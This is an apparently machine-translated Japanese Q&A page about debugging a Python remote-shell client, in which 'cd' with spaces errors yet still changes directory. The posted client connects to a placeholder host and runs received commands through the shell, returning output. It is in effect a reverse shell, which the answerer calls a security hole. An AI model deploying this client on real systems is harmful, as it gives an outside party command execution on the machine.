2016-10-11 9 views
0
import os 
import socket 
import subprocess 
s = socket.socket() 
host = '<my-ip>' 
port = 9999 
s.connect((host, port)) 
while True: 
    data = s.recv(1024) 
    if data[:2].decode("utf-8") == 'cd': 
     os.chdir(data[3:].decode("utf-8")) 
    if len(data) > 0: 
     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     outputBytes = cmd.stdout.read() + cmd .stderr.read() 
     outputStr = str(outputBytes, "utf-8") 
     s.send(str.encode(outputStr + str(os.getcwd() + '> '))) 
     print (outputStr) 

# Close connection 
s.close() 

私はpythonを使用してリモートクライアントサーバーアプリケーションを作成しようとしています。コードはディレクトリのエラーを変更しますが、ディレクトリは変更します

上記はclient.pyのコードです。すべてのコマンドが正常に動作していることです。私は

CD「スペースでディレクトリ名」

を使用する場合には、「指定したパスが見つかりません」私は、このエラーが発生します。しかし、それはまだディレクトリを変更します。私はまだそれがエラーを与えた後でもまだディレクトリを変更する理由はわかりません?

答えて

1

ここ2 if秒あります

if data[:2].decode("utf-8") == 'cd': 
    os.chdir(data[3:].decode("utf-8")) 
if len(data) > 0: 
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
          stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
          stdin=subprocess.PIPE) 
  • コマンドは、 'CD' で始まっている場合(それはCD 'で始まるため)、最初のブロックが実行されます。

  • コマンドが 'cd'で始まる場合、2番目のブロックも実行されます(長さ> 0なので)。

最初のブロックは、空白があってもディレクトリを変更します。 2番目のブロックはありません。

あなたは実行の両方からブロックを防ぐためにelifを使用したい:

if data[:2].decode("utf-8") == 'cd': 
    os.chdir(data[3:].decode("utf-8")) 
elif len(data) > 0: 
    cmd = subprocess.Popen(... 

はところで、このコードの他の問題があります。

  • 'cdefgh''fgh'

  • にディレクトリを変更します

    'cd abc'ディレクトリを' abc'に変更しようとします。おそらく、サーバーにそのようなインタフェースを暴露

  • Popencdが、何のために使用されている場合、それはcdのために使用されない理由を、私は見ていないだけでなく

  • に失敗しても、ウイルスよりも大きなセキュリティホールです作成することを望むことができます - あなたが完了するとすぐに学習するためにこれをやっていれば、コードを焼き付けます;)

関連する問題